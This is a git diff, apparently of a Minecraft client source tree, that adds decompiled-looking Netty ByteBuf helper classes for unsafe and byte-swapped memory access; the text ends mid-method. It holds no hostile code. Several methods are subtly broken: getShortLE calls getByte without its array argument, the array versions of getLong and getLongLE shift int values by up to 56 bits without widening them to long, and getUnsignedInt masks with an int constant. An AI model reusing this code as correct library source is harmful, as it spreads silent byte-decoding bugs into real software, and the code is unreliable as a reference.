+    if (UNALIGNED) {
+      if (PlatformDependent.BIG_ENDIAN_NATIVE_ORDER) {
+        PlatformDependent.putByte(address, (byte)value);
+        PlatformDependent.putShort(address + 1L, (short)(value >>> 8));
+      } else {
+        PlatformDependent.putShort(address, Short.reverseBytes((short)(value >>> 8)));
+        PlatformDependent.putByte(address + 2L, (byte)value);
+      }
+    } else {
+      PlatformDependent.putByte(address, (byte)(value >>> 16));
+      PlatformDependent.putByte(address + 1L, (byte)(value >>> 8));
+      PlatformDependent.putByte(address + 2L, (byte)value);
+    }
+  }
+  
+  static void setMediumLE(long address, int value) {
+    if (UNALIGNED) {
+      if (PlatformDependent.BIG_ENDIAN_NATIVE_ORDER) {
+        PlatformDependent.putShort(address, Short.reverseBytes((short)(value >>> 8)));
+        PlatformDependent.putByte(address + 2L, (byte)value);
+      } else {
+        PlatformDependent.putByte(address, (byte)value);
+        PlatformDependent.putShort(address + 1L, (short)(value >>> 8));
+      }
+    } else {
+      PlatformDependent.putByte(address, (byte)value);
+      PlatformDependent.putByte(address + 1L, (byte)(value >>> 8));
+      PlatformDependent.putByte(address + 2L, (byte)(value >>> 16));
+    }
+  }
+  
+  static void setInt(long address, int value) {
+    if (UNALIGNED) {
+      PlatformDependent.putInt(address, PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? value : Integer.reverseBytes(value));
+    } else {
+      PlatformDependent.putByte(address, (byte)(value >>> 24));
+      PlatformDependent.putByte(address + 1L, (byte)(value >>> 16));
+      PlatformDependent.putByte(address + 2L, (byte)(value >>> 8));
+      PlatformDependent.putByte(address + 3L, (byte)value);
+    }
+  }
+  
+  static void setIntLE(long address, int value) {
+    if (UNALIGNED) {
+      PlatformDependent.putInt(address, PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? Integer.reverseBytes(value) : value);
+    } else {
+      PlatformDependent.putByte(address, (byte)value);
+      PlatformDependent.putByte(address + 1L, (byte)(value >>> 8));
+      PlatformDependent.putByte(address + 2L, (byte)(value >>> 16));
+      PlatformDependent.putByte(address + 3L, (byte)(value >>> 24));
+    }
+  }
+  
+  static void setLong(long address, long value) {
+    if (UNALIGNED) {
+      PlatformDependent.putLong(address, PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? value : Long.reverseBytes(value));
+    } else {
+      PlatformDependent.putByte(address, (byte)(int)(value >>> 56));
+      PlatformDependent.putByte(address + 1L, (byte)(int)(value >>> 48));
+      PlatformDependent.putByte(address + 2L, (byte)(int)(value >>> 40));
+      PlatformDependent.putByte(address + 3L, (byte)(int)(value >>> 32));
+      PlatformDependent.putByte(address + 4L, (byte)(int)(value >>> 24));
+      PlatformDependent.putByte(address + 5L, (byte)(int)(value >>> 16));
+      PlatformDependent.putByte(address + 6L, (byte)(int)(value >>> 8));
+      PlatformDependent.putByte(address + 7L, (byte)(int)value);
+    }
+  }
+  
+  static void setLongLE(long address, long value) {
+    if (UNALIGNED) {
+      PlatformDependent.putLong(address, PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? Long.reverseBytes(value) : value);
+    } else {
+      PlatformDependent.putByte(address, (byte)(int)value);
+      PlatformDependent.putByte(address + 1L, (byte)(int)(value >>> 8));
+      PlatformDependent.putByte(address + 2L, (byte)(int)(value >>> 16));
+      PlatformDependent.putByte(address + 3L, (byte)(int)(value >>> 24));
+      PlatformDependent.putByte(address + 4L, (byte)(int)(value >>> 32));
+      PlatformDependent.putByte(address + 5L, (byte)(int)(value >>> 40));
+      PlatformDependent.putByte(address + 6L, (byte)(int)(value >>> 48));
+      PlatformDependent.putByte(address + 7L, (byte)(int)(value >>> 56));
+    }
+  }
+  
+  static byte getByte(byte[] array, int index) {
+    return PlatformDependent.getByte(array, index);
+  }
+  
+  static short getShort(byte[] array, int index) {
+    if (UNALIGNED) {
+      short v = PlatformDependent.getShort(array, index);
+      return PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? v : Short.reverseBytes(v);
+    }
+    return (short)(PlatformDependent.getByte(array, index) << 8 | PlatformDependent.getByte(array, index + 1) & 0xFF);
+  }
+  
+  static short getShortLE(byte[] array, int index)
+  {
+    if (UNALIGNED) {
+      short v = PlatformDependent.getShort(array, index);
+      return PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? Short.reverseBytes(v) : v;
+    }
+    return (short)(PlatformDependent.getByte(index) & 0xFF | PlatformDependent.getByte(index + 1) << 8);
+  }
+  
+  static int getUnsignedMedium(byte[] array, int index) {
+    if (UNALIGNED) {
+      if (PlatformDependent.BIG_ENDIAN_NATIVE_ORDER) {
+        return PlatformDependent.getByte(array, index) & 0xFF | (PlatformDependent.getShort(array, index + 1) & 0xFFFF) << 8;
+      }
+      
+      return (Short.reverseBytes(PlatformDependent.getShort(array, index)) & 0xFFFF) << 8 | PlatformDependent.getByte(array, index + 2) & 0xFF;
+    }
+    
+    return (PlatformDependent.getByte(array, index) & 0xFF) << 16 | (PlatformDependent.getByte(array, index + 1) & 0xFF) << 8 | PlatformDependent.getByte(array, index + 2) & 0xFF;
+  }
+  
+
+  static int getUnsignedMediumLE(byte[] array, int index)
+  {
+    if (UNALIGNED) {
+      if (PlatformDependent.BIG_ENDIAN_NATIVE_ORDER) {
+        return (Short.reverseBytes(PlatformDependent.getShort(array, index)) & 0xFFFF) << 8 | PlatformDependent.getByte(array, index + 2) & 0xFF;
+      }
+      
+      return PlatformDependent.getByte(array, index) & 0xFF | (PlatformDependent.getShort(array, index + 1) & 0xFFFF) << 8;
+    }
+    
+    return PlatformDependent.getByte(array, index) & 0xFF | (PlatformDependent.getByte(array, index + 1) & 0xFF) << 8 | (PlatformDependent.getByte(array, index + 2) & 0xFF) << 16;
+  }
+  
+
+  static int getInt(byte[] array, int index)
+  {
+    if (UNALIGNED) {
+      int v = PlatformDependent.getInt(array, index);
+      return PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? v : Integer.reverseBytes(v);
+    }
+    return PlatformDependent.getByte(array, index) << 24 | (PlatformDependent.getByte(array, index + 1) & 0xFF) << 16 | (PlatformDependent.getByte(array, index + 2) & 0xFF) << 8 | PlatformDependent.getByte(array, index + 3) & 0xFF;
+  }
+  
+
+
+  static int getIntLE(byte[] array, int index)
+  {
+    if (UNALIGNED) {
+      int v = PlatformDependent.getInt(array, index);
+      return PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? Integer.reverseBytes(v) : v;
+    }
+    return PlatformDependent.getByte(array, index) & 0xFF | (PlatformDependent.getByte(array, index + 1) & 0xFF) << 8 | (PlatformDependent.getByte(array, index + 2) & 0xFF) << 16 | PlatformDependent.getByte(array, index + 3) << 24;
+  }
+  
+
+
+  static long getLong(byte[] array, int index)
+  {
+    if (UNALIGNED) {
+      long v = PlatformDependent.getLong(array, index);
+      return PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? v : Long.reverseBytes(v);
+    }
+    return PlatformDependent.getByte(array, index) << 56 | (PlatformDependent.getByte(array, index + 1) & 0xFF) << 48 | (PlatformDependent.getByte(array, index + 2) & 0xFF) << 40 | (PlatformDependent.getByte(array, index + 3) & 0xFF) << 32 | (PlatformDependent.getByte(array, index + 4) & 0xFF) << 24 | (PlatformDependent.getByte(array, index + 5) & 0xFF) << 16 | (PlatformDependent.getByte(array, index + 6) & 0xFF) << 8 | PlatformDependent.getByte(array, index + 7) & 0xFF;
+  }
+  
+
+
+
+
+
+
+  static long getLongLE(byte[] array, int index)
+  {
+    if (UNALIGNED) {
+      long v = PlatformDependent.getLong(array, index);
+      return PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? Long.reverseBytes(v) : v;
+    }
+    return PlatformDependent.getByte(array, index) & 0xFF | (PlatformDependent.getByte(array, index + 1) & 0xFF) << 8 | (PlatformDependent.getByte(array, index + 2) & 0xFF) << 16 | (PlatformDependent.getByte(array, index + 3) & 0xFF) << 24 | (PlatformDependent.getByte(array, index + 4) & 0xFF) << 32 | (PlatformDependent.getByte(array, index + 5) & 0xFF) << 40 | (PlatformDependent.getByte(array, index + 6) & 0xFF) << 48 | PlatformDependent.getByte(array, index + 7) << 56;
+  }
+  
+
+
+
+
+
+
+  static void setByte(byte[] array, int index, int value)
+  {
+    PlatformDependent.putByte(array, index, (byte)value);
+  }
+  
+  static void setShort(byte[] array, int index, int value) {
+    if (UNALIGNED) {
+      PlatformDependent.putShort(array, index, PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? (short)value : Short.reverseBytes((short)value));
+    }
+    else {
+      PlatformDependent.putByte(array, index, (byte)(value >>> 8));
+      PlatformDependent.putByte(array, index + 1, (byte)value);
+    }
+  }
+  
+  static void setShortLE(byte[] array, int index, int value) {
+    if (UNALIGNED) {
+      PlatformDependent.putShort(array, index, PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? Short.reverseBytes((short)value) : (short)value);
+    }
+    else {
+      PlatformDependent.putByte(array, index, (byte)value);
+      PlatformDependent.putByte(array, index + 1, (byte)(value >>> 8));
+    }
+  }
+  
+  static void setMedium(byte[] array, int index, int value) {
+    if (UNALIGNED) {
+      if (PlatformDependent.BIG_ENDIAN_NATIVE_ORDER) {
+        PlatformDependent.putByte(array, index, (byte)value);
+        PlatformDependent.putShort(array, index + 1, (short)(value >>> 8));
+      } else {
+        PlatformDependent.putShort(array, index, Short.reverseBytes((short)(value >>> 8)));
+        PlatformDependent.putByte(array, index + 2, (byte)value);
+      }
+    } else {
+      PlatformDependent.putByte(array, index, (byte)(value >>> 16));
+      PlatformDependent.putByte(array, index + 1, (byte)(value >>> 8));
+      PlatformDependent.putByte(array, index + 2, (byte)value);
+    }
+  }
+  
+  static void setMediumLE(byte[] array, int index, int value) {
+    if (UNALIGNED) {
+      if (PlatformDependent.BIG_ENDIAN_NATIVE_ORDER) {
+        PlatformDependent.putShort(array, index, Short.reverseBytes((short)(value >>> 8)));
+        PlatformDependent.putByte(array, index + 2, (byte)value);
+      } else {
+        PlatformDependent.putByte(array, index, (byte)value);
+        PlatformDependent.putShort(array, index + 1, (short)(value >>> 8));
+      }
+    } else {
+      PlatformDependent.putByte(array, index, (byte)value);
+      PlatformDependent.putByte(array, index + 1, (byte)(value >>> 8));
+      PlatformDependent.putByte(array, index + 2, (byte)(value >>> 16));
+    }
+  }
+  
+  static void setInt(byte[] array, int index, int value) {
+    if (UNALIGNED) {
+      PlatformDependent.putInt(array, index, PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? value : Integer.reverseBytes(value));
+    } else {
+      PlatformDependent.putByte(array, index, (byte)(value >>> 24));
+      PlatformDependent.putByte(array, index + 1, (byte)(value >>> 16));
+      PlatformDependent.putByte(array, index + 2, (byte)(value >>> 8));
+      PlatformDependent.putByte(array, index + 3, (byte)value);
+    }
+  }
+  
+  static void setIntLE(byte[] array, int index, int value) {
+    if (UNALIGNED) {
+      PlatformDependent.putInt(array, index, PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? Integer.reverseBytes(value) : value);
+    } else {
+      PlatformDependent.putByte(array, index, (byte)value);
+      PlatformDependent.putByte(array, index + 1, (byte)(value >>> 8));
+      PlatformDependent.putByte(array, index + 2, (byte)(value >>> 16));
+      PlatformDependent.putByte(array, index + 3, (byte)(value >>> 24));
+    }
+  }
+  
+  static void setLong(byte[] array, int index, long value) {
+    if (UNALIGNED) {
+      PlatformDependent.putLong(array, index, PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? value : Long.reverseBytes(value));
+    } else {
+      PlatformDependent.putByte(array, index, (byte)(int)(value >>> 56));
+      PlatformDependent.putByte(array, index + 1, (byte)(int)(value >>> 48));
+      PlatformDependent.putByte(array, index + 2, (byte)(int)(value >>> 40));
+      PlatformDependent.putByte(array, index + 3, (byte)(int)(value >>> 32));
+      PlatformDependent.putByte(array, index + 4, (byte)(int)(value >>> 24));
+      PlatformDependent.putByte(array, index + 5, (byte)(int)(value >>> 16));
+      PlatformDependent.putByte(array, index + 6, (byte)(int)(value >>> 8));
+      PlatformDependent.putByte(array, index + 7, (byte)(int)value);
+    }
+  }
+  
+  static void setLongLE(byte[] array, int index, long value) {
+    if (UNALIGNED) {
+      PlatformDependent.putLong(array, index, PlatformDependent.BIG_ENDIAN_NATIVE_ORDER ? Long.reverseBytes(value) : value);
+    } else {
+      PlatformDependent.putByte(array, index, (byte)(int)value);
+      PlatformDependent.putByte(array, index + 1, (byte)(int)(value >>> 8));
+      PlatformDependent.putByte(array, index + 2, (byte)(int)(value >>> 16));
+      PlatformDependent.putByte(array, index + 3, (byte)(int)(value >>> 24));
+      PlatformDependent.putByte(array, index + 4, (byte)(int)(value >>> 32));
+      PlatformDependent.putByte(array, index + 5, (byte)(int)(value >>> 40));
+      PlatformDependent.putByte(array, index + 6, (byte)(int)(value >>> 48));
+      PlatformDependent.putByte(array, index + 7, (byte)(int)(value >>> 56));
+    }
+  }
+  
+  static void setZero(byte[] array, int index, int length) {
+    if (length == 0) {
+      return;
+    }
+    PlatformDependent.setMemory(array, index, length, (byte)0);
+  }
+  
+  static ByteBuf copy(AbstractByteBuf buf, long addr, int index, int length) {
+    buf.checkIndex(index, length);
+    ByteBuf copy = buf.alloc().directBuffer(length, buf.maxCapacity());
+    if (length != 0) {
+      if (copy.hasMemoryAddress()) {
+        PlatformDependent.copyMemory(addr, copy.memoryAddress(), length);
+        copy.setIndex(0, length);
+      } else {
+        copy.writeBytes(buf, index, length);
+      }
+    }
+    return copy;
+  }
+  
+  static int setBytes(AbstractByteBuf buf, long addr, int index, InputStream in, int length) throws IOException {
+    buf.checkIndex(index, length);
+    ByteBuf tmpBuf = buf.alloc().heapBuffer(length);
+    try {
+      byte[] tmp = tmpBuf.array();
+      int offset = tmpBuf.arrayOffset();
+      int readBytes = in.read(tmp, offset, length);
+      if (readBytes > 0) {
+        PlatformDependent.copyMemory(tmp, offset, addr, readBytes);
+      }
+      return readBytes;
+    } finally {
+      tmpBuf.release();
+    }
+  }
+  
+  static void getBytes(AbstractByteBuf buf, long addr, int index, ByteBuf dst, int dstIndex, int length) {
+    buf.checkIndex(index, length);
+    ObjectUtil.checkNotNull(dst, "dst");
+    if (MathUtil.isOutOfBounds(dstIndex, length, dst.capacity())) {
+      throw new IndexOutOfBoundsException("dstIndex: " + dstIndex);
+    }
+    
+    if (dst.hasMemoryAddress()) {
+      PlatformDependent.copyMemory(addr, dst.memoryAddress() + dstIndex, length);
+    } else if (dst.hasArray()) {
+      PlatformDependent.copyMemory(addr, dst.array(), dst.arrayOffset() + dstIndex, length);
+    } else {
+      dst.setBytes(dstIndex, buf, index, length);
+    }
+  }
+  
+  static void getBytes(AbstractByteBuf buf, long addr, int index, byte[] dst, int dstIndex, int length) {
+    buf.checkIndex(index, length);
+    ObjectUtil.checkNotNull(dst, "dst");
+    if (MathUtil.isOutOfBounds(dstIndex, length, dst.length)) {
+      throw new IndexOutOfBoundsException("dstIndex: " + dstIndex);
+    }
+    if (length != 0) {
+      PlatformDependent.copyMemory(addr, dst, dstIndex, length);
+    }
+  }
+  
+  static void getBytes(AbstractByteBuf buf, long addr, int index, ByteBuffer dst) {
+    buf.checkIndex(index, dst.remaining());
+    if (dst.remaining() == 0) {
+      return;
+    }
+    
+    if (dst.isDirect()) {
+      if (dst.isReadOnly())
+      {
+        throw new ReadOnlyBufferException();
+      }
+      
+      long dstAddress = PlatformDependent.directBufferAddress(dst);
+      PlatformDependent.copyMemory(addr, dstAddress + dst.position(), dst.remaining());
+      dst.position(dst.position() + dst.remaining());
+    } else if (dst.hasArray())
+    {
+      PlatformDependent.copyMemory(addr, dst.array(), dst.arrayOffset() + dst.position(), dst.remaining());
+      dst.position(dst.position() + dst.remaining());
+    } else {
+      dst.put(buf.nioBuffer());
+    }
+  }
+  
+  static void setBytes(AbstractByteBuf buf, long addr, int index, ByteBuf src, int srcIndex, int length) {
+    buf.checkIndex(index, length);
+    ObjectUtil.checkNotNull(src, "src");
+    if (MathUtil.isOutOfBounds(srcIndex, length, src.capacity())) {
+      throw new IndexOutOfBoundsException("srcIndex: " + srcIndex);
+    }
+    
+    if (length != 0) {
+      if (src.hasMemoryAddress()) {
+        PlatformDependent.copyMemory(src.memoryAddress() + srcIndex, addr, length);
+      } else if (src.hasArray()) {
+        PlatformDependent.copyMemory(src.array(), src.arrayOffset() + srcIndex, addr, length);
+      } else {
+        src.getBytes(srcIndex, buf, index, length);
+      }
+    }
+  }
+  
+  static void setBytes(AbstractByteBuf buf, long addr, int index, byte[] src, int srcIndex, int length) {
+    buf.checkIndex(index, length);
+    if (length != 0) {
+      PlatformDependent.copyMemory(src, srcIndex, addr, length);
+    }
+  }
+  
+  static void setBytes(AbstractByteBuf buf, long addr, int index, ByteBuffer src) {
+    buf.checkIndex(index, src.remaining());
+    
+    int length = src.remaining();
+    if (length == 0) {
+      return;
+    }
+    
+    if (src.isDirect())
+    {
+      long srcAddress = PlatformDependent.directBufferAddress(src);
+      PlatformDependent.copyMemory(srcAddress + src.position(), addr, src.remaining());
+      src.position(src.position() + length);
+    } else if (src.hasArray())
+    {
+      PlatformDependent.copyMemory(src.array(), src.arrayOffset() + src.position(), addr, length);
+      src.position(src.position() + length);
+    } else {
+      ByteBuf tmpBuf = buf.alloc().heapBuffer(length);
+      try {
+        byte[] tmp = tmpBuf.array();
+        src.get(tmp, tmpBuf.arrayOffset(), length);
+        PlatformDependent.copyMemory(tmp, tmpBuf.arrayOffset(), addr, length);
+      } finally {
+        tmpBuf.release();
+      }
+    }
+  }
+  
+  static void getBytes(AbstractByteBuf buf, long addr, int index, OutputStream out, int length) throws IOException {
+    buf.checkIndex(index, length);
+    if (length != 0) {
+      ByteBuf tmpBuf = buf.alloc().heapBuffer(length);
+      try {
+        byte[] tmp = tmpBuf.array();
+        int offset = tmpBuf.arrayOffset();
+        PlatformDependent.copyMemory(addr, tmp, offset, length);
+        out.write(tmp, offset, length);
+      } finally {
+        tmpBuf.release();
+      }
+    }
+  }
+  
+  static void setZero(AbstractByteBuf buf, long addr, int index, int length) {
+    if (length == 0) {
+      return;
+    }
+    
+    buf.checkIndex(index, length);
+    PlatformDependent.setMemory(addr, length, (byte)0);
+  }
+  
+  static UnpooledUnsafeDirectByteBuf newUnsafeDirectByteBuf(ByteBufAllocator alloc, int initialCapacity, int maxCapacity)
+  {
+    if (PlatformDependent.useDirectBufferNoCleaner()) {
+      return new UnpooledUnsafeNoCleanerDirectByteBuf(alloc, initialCapacity, maxCapacity);
+    }
+    return new UnpooledUnsafeDirectByteBuf(alloc, initialCapacity, maxCapacity);
+  }
+  
+  private UnsafeByteBufUtil() {}
+}
diff --git a/src/minecraft/io/netty/buffer/UnsafeDirectSwappedByteBuf.java b/src/minecraft/io/netty/buffer/UnsafeDirectSwappedByteBuf.java
new file mode 100644
index 0000000..b404e3f
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/UnsafeDirectSwappedByteBuf.java
@@ -0,0 +1,186 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.PlatformDependent;
+import java.nio.ByteOrder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class UnsafeDirectSwappedByteBuf
+  extends SwappedByteBuf
+{
+  private static final boolean NATIVE_ORDER = ByteOrder.nativeOrder() == ByteOrder.BIG_ENDIAN;
+  private final boolean nativeByteOrder;
+  private final AbstractByteBuf wrapped;
+  
+  UnsafeDirectSwappedByteBuf(AbstractByteBuf buf) {
+    super(buf);
+    wrapped = buf;
+    nativeByteOrder = (NATIVE_ORDER == (order() == ByteOrder.BIG_ENDIAN));
+  }
+  
+
+
+
+  private long addr(int index)
+  {
+    return wrapped.memoryAddress() + index;
+  }
+  
+  public long getLong(int index)
+  {
+    wrapped.checkIndex(index, 8);
+    long v = PlatformDependent.getLong(addr(index));
+    return nativeByteOrder ? v : Long.reverseBytes(v);
+  }
+  
+  public float getFloat(int index)
+  {
+    return Float.intBitsToFloat(getInt(index));
+  }
+  
+  public double getDouble(int index)
+  {
+    return Double.longBitsToDouble(getLong(index));
+  }
+  
+  public char getChar(int index)
+  {
+    return (char)getShort(index);
+  }
+  
+  public long getUnsignedInt(int index)
+  {
+    return getInt(index) & 0xFFFFFFFF;
+  }
+  
+  public int getInt(int index)
+  {
+    wrapped.checkIndex(index, 4);
+    int v = PlatformDependent.getInt(addr(index));
+    return nativeByteOrder ? v : Integer.reverseBytes(v);
+  }
+  
+  public int getUnsignedShort(int index)
+  {
+    return getShort(index) & 0xFFFF;
+  }
+  
+  public short getShort(int index)
+  {
+    wrapped.checkIndex(index, 2);
+    short v = PlatformDependent.getShort(addr(index));
+    return nativeByteOrder ? v : Short.reverseBytes(v);
+  }
+  
+  public ByteBuf setShort(int index, int value)
+  {
+    wrapped.checkIndex(index, 2);
+    _setShort(index, value);
+    return this;
+  }
+  
+  public ByteBuf setInt(int index, int value)
+  {
+    wrapped.checkIndex(index, 4);
+    _setInt(index, value);
+    return this;
+  }
+  
+  public ByteBuf setLong(int index, long value)
+  {
+    wrapped.checkIndex(index, 8);
+    _setLong(index, value);
+    return this;
+  }
+  
+  public ByteBuf setChar(int index, int value)
+  {
+    setShort(index, value);
+    return this;
+  }
+  
+  public ByteBuf setFloat(int index, float value)
+  {
+    setInt(index, Float.floatToRawIntBits(value));
+    return this;
+  }
+  
+  public ByteBuf setDouble(int index, double value)
+  {
+    setLong(index, Double.doubleToRawLongBits(value));
+    return this;
+  }
+  
+  public ByteBuf writeShort(int value)
+  {
+    wrapped.ensureAccessible();
+    wrapped.ensureWritable(2);
+    _setShort(wrapped.writerIndex, value);
+    wrapped.writerIndex += 2;
+    return this;
+  }
+  
+  public ByteBuf writeInt(int value)
+  {
+    wrapped.ensureAccessible();
+    wrapped.ensureWritable(4);
+    _setInt(wrapped.writerIndex, value);
+    wrapped.writerIndex += 4;
+    return this;
+  }
+  
+  public ByteBuf writeLong(long value)
+  {
+    wrapped.ensureAccessible();
+    wrapped.ensureWritable(8);
+    _setLong(wrapped.writerIndex, value);
+    wrapped.writerIndex += 8;
+    return this;
+  }
+  
+  public ByteBuf writeChar(int value)
+  {
+    writeShort(value);
+    return this;
+  }
+  
+  public ByteBuf writeFloat(float value)
+  {
+    writeInt(Float.floatToRawIntBits(value));
+    return this;
+  }
+  
+  public ByteBuf writeDouble(double value)
+  {
+    writeLong(Double.doubleToRawLongBits(value));
+    return this;
+  }
+  
+  private void _setShort(int index, int value) {
+    PlatformDependent.putShort(addr(index), nativeByteOrder ? (short)value : Short.reverseBytes((short)value));
+  }
+  
+  private void _setInt(int index, int value) {
+    PlatformDependent.putInt(addr(index), nativeByteOrder ? value : Integer.reverseBytes(value));
+  }
+  
+  private void _setLong(int index, long value) {
+    PlatformDependent.putLong(addr(index), nativeByteOrder ? value : Long.reverseBytes(value));
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/UnsafeHeapSwappedByteBuf.java b/src/minecraft/io/netty/buffer/UnsafeHeapSwappedByteBuf.java
new file mode 100644
index 0000000..d1be5e3
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/UnsafeHeapSwappedByteBuf.java
@@ -0,0 +1,63 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.PlatformDependent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class UnsafeHeapSwappedByteBuf
+  extends AbstractUnsafeSwappedByteBuf
+{
+  UnsafeHeapSwappedByteBuf(AbstractByteBuf buf)
+  {
+    super(buf);
+  }
+  
+  private static int idx(ByteBuf wrapped, int index) {
+    return wrapped.arrayOffset() + index;
+  }
+  
+  protected long _getLong(AbstractByteBuf wrapped, int index)
+  {
+    return PlatformDependent.getLong(wrapped.array(), idx(wrapped, index));
+  }
+  
+  protected int _getInt(AbstractByteBuf wrapped, int index)
+  {
+    return PlatformDependent.getInt(wrapped.array(), idx(wrapped, index));
+  }
+  
+  protected short _getShort(AbstractByteBuf wrapped, int index)
+  {
+    return PlatformDependent.getShort(wrapped.array(), idx(wrapped, index));
+  }
+  
+  protected void _setShort(AbstractByteBuf wrapped, int index, short value)
+  {
+    PlatformDependent.putShort(wrapped.array(), idx(wrapped, index), value);
+  }
+  
+  protected void _setInt(AbstractByteBuf wrapped, int index, int value)
+  {
+    PlatformDependent.putInt(wrapped.array(), idx(wrapped, index), value);
+  }
+  
+  protected void _setLong(AbstractByteBuf wrapped, int index, long value)
+  {
+    PlatformDependent.putLong(wrapped.array(), idx(wrapped, index), value);
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/WrappedByteBuf.java b/src/minecraft/io/netty/buffer/WrappedByteBuf.java
new file mode 100644
index 0000000..69afb68
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/WrappedByteBuf.java
@@ -0,0 +1,827 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.StringUtil;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class WrappedByteBuf
+  extends ByteBuf
+{
+  protected final ByteBuf buf;
+  
+  protected WrappedByteBuf(ByteBuf buf)
+  {
+    if (buf == null) {
+      throw new NullPointerException("buf");
+    }
+    this.buf = buf;
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return buf.hasMemoryAddress();
+  }
+  
+  public long memoryAddress()
+  {
+    return buf.memoryAddress();
+  }
+  
+  public int capacity()
+  {
+    return buf.capacity();
+  }
+  
+  public ByteBuf capacity(int newCapacity)
+  {
+    buf.capacity(newCapacity);
+    return this;
+  }
+  
+  public int maxCapacity()
+  {
+    return buf.maxCapacity();
+  }
+  
+  public ByteBufAllocator alloc()
+  {
+    return buf.alloc();
+  }
+  
+  public ByteOrder order()
+  {
+    return buf.order();
+  }
+  
+  public ByteBuf order(ByteOrder endianness)
+  {
+    return buf.order(endianness);
+  }
+  
+  public ByteBuf unwrap()
+  {
+    return buf;
+  }
+  
+  public boolean isDirect()
+  {
+    return buf.isDirect();
+  }
+  
+  public int readerIndex()
+  {
+    return buf.readerIndex();
+  }
+  
+  public ByteBuf readerIndex(int readerIndex)
+  {
+    buf.readerIndex(readerIndex);
+    return this;
+  }
+  
+  public int writerIndex()
+  {
+    return buf.writerIndex();
+  }
+  
+  public ByteBuf writerIndex(int writerIndex)
+  {
+    buf.writerIndex(writerIndex);
+    return this;
+  }
+  
+  public ByteBuf setIndex(int readerIndex, int writerIndex)
+  {
+    buf.setIndex(readerIndex, writerIndex);
+    return this;
+  }
+  
+  public int readableBytes()
+  {
+    return buf.readableBytes();
+  }
+  
+  public int writableBytes()
+  {
+    return buf.writableBytes();
+  }
+  
+  public int maxWritableBytes()
+  {
+    return buf.maxWritableBytes();
+  }
+  
+  public boolean isReadable()
+  {
+    return buf.isReadable();
+  }
+  
+  public boolean isWritable()
+  {
+    return buf.isWritable();
+  }
+  
+  public ByteBuf clear()
+  {
+    buf.clear();
+    return this;
+  }
+  
+  public ByteBuf markReaderIndex()
+  {
+    buf.markReaderIndex();
+    return this;
+  }
+  
+  public ByteBuf resetReaderIndex()
+  {
+    buf.resetReaderIndex();
+    return this;
+  }
+  
+  public ByteBuf markWriterIndex()
+  {
+    buf.markWriterIndex();
+    return this;
+  }
+  
+  public ByteBuf resetWriterIndex()
+  {
+    buf.resetWriterIndex();
+    return this;
+  }
+  
+  public ByteBuf discardReadBytes()
+  {
+    buf.discardReadBytes();
+    return this;
+  }
+  
+  public ByteBuf discardSomeReadBytes()
+  {
+    buf.discardSomeReadBytes();
+    return this;
+  }
+  
+  public ByteBuf ensureWritable(int minWritableBytes)
+  {
+    buf.ensureWritable(minWritableBytes);
+    return this;
+  }
+  
+  public int ensureWritable(int minWritableBytes, boolean force)
+  {
+    return buf.ensureWritable(minWritableBytes, force);
+  }
+  
+  public boolean getBoolean(int index)
+  {
+    return buf.getBoolean(index);
+  }
+  
+  public byte getByte(int index)
+  {
+    return buf.getByte(index);
+  }
+  
+  public short getUnsignedByte(int index)
+  {
+    return buf.getUnsignedByte(index);
+  }
+  
+  public short getShort(int index)
+  {
+    return buf.getShort(index);
+  }
+  
+  public int getUnsignedShort(int index)
+  {
+    return buf.getUnsignedShort(index);
+  }
+  
+  public int getMedium(int index)
+  {
+    return buf.getMedium(index);
+  }
+  
+  public int getUnsignedMedium(int index)
+  {
+    return buf.getUnsignedMedium(index);
+  }
+  
+  public int getInt(int index)
+  {
+    return buf.getInt(index);
+  }
+  
+  public long getUnsignedInt(int index)
+  {
+    return buf.getUnsignedInt(index);
+  }
+  
+  public long getLong(int index)
+  {
+    return buf.getLong(index);
+  }
+  
+  public char getChar(int index)
+  {
+    return buf.getChar(index);
+  }
+  
+  public float getFloat(int index)
+  {
+    return buf.getFloat(index);
+  }
+  
+  public double getDouble(int index)
+  {
+    return buf.getDouble(index);
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst)
+  {
+    buf.getBytes(index, dst);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int length)
+  {
+    buf.getBytes(index, dst, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    buf.getBytes(index, dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst)
+  {
+    buf.getBytes(index, dst);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    buf.getBytes(index, dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    buf.getBytes(index, dst);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length) throws IOException
+  {
